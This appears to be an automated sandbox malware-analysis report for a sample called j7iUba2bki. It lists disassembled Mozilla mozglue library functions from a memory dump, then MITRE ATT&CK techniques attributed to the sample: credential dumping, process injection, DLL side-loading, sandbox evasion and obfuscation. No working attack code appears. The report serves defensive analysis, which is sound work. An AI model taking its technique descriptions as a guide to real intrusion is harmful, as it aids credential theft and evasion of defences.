Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: InterruptQueryTimeUnbiased__aulldiv
String ID: $me/
API String ID: 218403179-2210144079
Opcode ID: 8841aa385773ff2bbeb38b2279d869bdba6792f4db1998aea5c328e4f1724082
Instruction ID: c73dde29524b36282be1794b7399f8c7a76e689ae1a12b0df72955e05109184b
Opcode Fuzzy Hash: 8841aa385773ff2bbeb38b2279d869bdba6792f4db1998aea5c328e4f1724082
Instruction Fuzzy Hash: 3F01F571A04305ABDB009F38D8057467BF8EF4A318F20CA1DF9E987691E776A494CB81

Function 6C376D30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE(#%02u: ??? (???:???),?,?,?,?,6C376CA1), ref: 6C376D51
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?,#%02u: ??? (???:???),?,?,?,?,6C376CA1), ref: 6C376D6B

Strings

$me/, xrefs: 6C376D3C

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@
String ID: $me/
API String ID: 2004917493-2210144079
Opcode ID: 70d2fb2b80aa2ed72b95daa34f3c233a33c99c914bd3ef9446550f80f78debd7
Instruction ID: 3960379b81296e11e24510d309fd411c0fde5342e888fa6ea6c5ee554da54a7d
Opcode Fuzzy Hash: 70d2fb2b80aa2ed72b95daa34f3c233a33c99c914bd3ef9446550f80f78debd7
Instruction Fuzzy Hash: 50011D71B006299FCB009F59D8909DFBBE9EF48654B41841AE8899B710D631A904CFD1

Function 6C3594D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

Strings

$me/, xrefs: 6C3594DC

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: __acrt_iob_func__stdio_common_vfprintf
String ID: $me/
API String ID: 2168557111-2210144079
Opcode ID: 1aac003dcf5f76c86d5b01e9fa27f0f5ed62385efb8e6eb7254b062449ea93bb
Instruction ID: dd4ca1e40c286a3584daa490945d90cf24e4936844305892f85d4ec6d68997cc
Opcode Fuzzy Hash: 1aac003dcf5f76c86d5b01e9fa27f0f5ed62385efb8e6eb7254b062449ea93bb
Instruction Fuzzy Hash: 1CF05471A001186FDB105F65DC49EAF7B7CEF4525DF404025E94A5B241E6316918CBE1

Function 6C376DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C376E22
__Init_thread_footer.LIBCMT ref: 6C376E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C376E1D

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 3365ddfa4f0eab6e45239067f8d05d173b2b9f35aa27894517ae83234604ee05
Instruction ID: 5476a63fd7ad83f68d610e145e58616a2ae6ded3dd4f6852f56ece89fb23272a
Opcode Fuzzy Hash: 3365ddfa4f0eab6e45239067f8d05d173b2b9f35aa27894517ae83234604ee05
Instruction Fuzzy Hash: 05F05932604340CBDF108F68CA60A917779530B21CF240165E84046F91F76BA906CEB7

Function 6C329E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C329EEF

Strings

NaN, xrefs: 6C329EC1
Infinity, xrefs: 6C329EB7

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: b93b105af6bbd93e61e29de8379703f2db3be52126e314ac4020d6d0f69cdafa
Instruction ID: bacb6450ec655881779171b53fd029f3c8bc13957a02a25a564b5d5d0eddaf72
Opcode Fuzzy Hash: b93b105af6bbd93e61e29de8379703f2db3be52126e314ac4020d6d0f69cdafa
Instruction Fuzzy Hash: EDF03C71701241CAEF009F18D84579133B9A74F31DF204A19EA440AAA5F7BB65568FD2

Function 6C326C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K5l,?,6C354B30,80000000,?,6C354AB7,?,6C3143CF,?,6C3142D2), ref: 6C326C42

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

moz_xmalloc.MOZGLUE(0K5l,?,6C354B30,80000000,?,6C354AB7,?,6C3143CF,?,6C3142D2), ref: 6C326C58

Strings

0K5l, xrefs: 6C326C33, 6C326C41, 6C326C57

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K5l
API String ID: 1967447596-1268099673
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 0bac08c4e6f8b43a752c1cb5d85a1171e94fb066f1daa0285fa8ed001f5ffb2d
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 32E086F1A105054BAF08B979AC0A56B71DC8F146A87044A35E823D6BC8FA5DE55089A2

Function 6C32BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C32BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C32BEF5

Strings

cryptbase.dll, xrefs: 6C32BEF0

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: bc577c95d21659487b159ce7db92a671a63a37d6f5e3ed9dc8fbe7d404ea78ac
Instruction ID: bd918b5fcd6f38f5d36b0849aef99e3ed3782299c536e41e96b8e713dca62ee9
Opcode Fuzzy Hash: bc577c95d21659487b159ce7db92a671a63a37d6f5e3ed9dc8fbe7d404ea78ac
Instruction Fuzzy Hash: 9CD0A932680208EBCB10AEA0AD0AB293BBCA70232DF10C020F7568C851E7B6A410CF90

Function 6C36B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C36B2C9,?,?,?,6C36B127,?,?,?,?,?,?,?,?,?,6C36AE52), ref: 6C36B628

Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C3690FF
Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C369108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C36B2C9,?,?,?,6C36B127,?,?,?,?,?,?,?,?,?,6C36AE52), ref: 6C36B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C36B2C9,?,?,?,6C36B127,?,?,?,?,?,?,?,?,?,6C36AE52), ref: 6C36B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C36B127,?,?,?,?,?,?,?,?), ref: 6C36B74D

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: fe11cfb61924271c8246acd878b1303ad34127ac00cc88e0e740c18f111d0e2d
Instruction ID: 1321d0a45f3f22915521bb804faa9d047e9cce3e795942d4bd4d6e337f307bd1
Opcode Fuzzy Hash: fe11cfb61924271c8246acd878b1303ad34127ac00cc88e0e740c18f111d0e2d
Instruction Fuzzy Hash: 2651D071A052168FDB14CF1AC98465EF7B9FF45308F45852DE85AABB18EB31E804CFA1

Function 6C36DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C35FF2A), ref: 6C36DFFD

Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C3690FF
Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C369108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C35FF2A), ref: 6C36E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C35FF2A), ref: 6C36E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C35FF2A), ref: 6C36E0FE

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 608ab9db159c8104a002c60931f552da4b035306543dc4edd171de351076a569
Instruction ID: affae71c20bca88051cba5b8c274e1697a84686c90a21fcbe727291f7395574d
Opcode Fuzzy Hash: 608ab9db159c8104a002c60931f552da4b035306543dc4edd171de351076a569
Instruction Fuzzy Hash: 4141B1B16043068FEB14CF6ADC8039A77B6AB45308F144539D596DBB48E732E909CFE2

Function 6C366E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C366EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C366EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C366F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C366F5C

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: f7e2ebb58734311e165b2277829fbaf5cb48f7100ce54fffa36dc29910396466
Instruction ID: 9e404252e2846c13f526c9664beddcda75433cdbcbae261d978ab5896528b673
Opcode Fuzzy Hash: f7e2ebb58734311e165b2277829fbaf5cb48f7100ce54fffa36dc29910396466
Instruction Fuzzy Hash: 7A31E771A1060A8FEB04CF2DDD406AA73F9EB94344F504539D41ACBA55EB32E659CBA0

Function 6C37B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C320A4D), ref: 6C37B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C320A4D), ref: 6C37B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C320A4D), ref: 6C37B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C320A4D), ref: 6C37B67F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 45b51441356659de40918fa3d31a05997088ae57d42c6f755cd09d51318b88a6
Instruction ID: 34a81e06f4c89bbcec13d699f82b22ac82898e866e4f9afb240ab653b739e2bd
Opcode Fuzzy Hash: 45b51441356659de40918fa3d31a05997088ae57d42c6f755cd09d51318b88a6
Instruction Fuzzy Hash: 2D31D671A012158FEB20CF58C84469AF7BAFF81308F168569C9469F301EB36E915CFB5

Function 6C34F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C34F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C34F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C34F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C34F668

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 516fd478ea94684430227585da57c280c0f686661443f451cf9e7f87b95a241b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 5B315E71A00214AFC714DF1DDCC0A9A77F9EB88358B18C538EA498BB04D676E9458F90

Function 6C3626B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3626C1
free.MOZGLUE(?), ref: 6C3626E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3626FF
free.MOZGLUE ref: 6C36270D

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b6781b9c31f32c5ed88a22a01170b056cd0483c10b4d111555490544070ee31b
Instruction ID: 90aa46643f8f12e13687598f93c1fb55b60ad3a05f053ac53adfeadab653dee6
Opcode Fuzzy Hash: b6781b9c31f32c5ed88a22a01170b056cd0483c10b4d111555490544070ee31b
Instruction Fuzzy Hash: 98F0F9B27012015BF7009E19E888D47B3ADEF41258B550035EA1AD3F02E373F918CB92

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

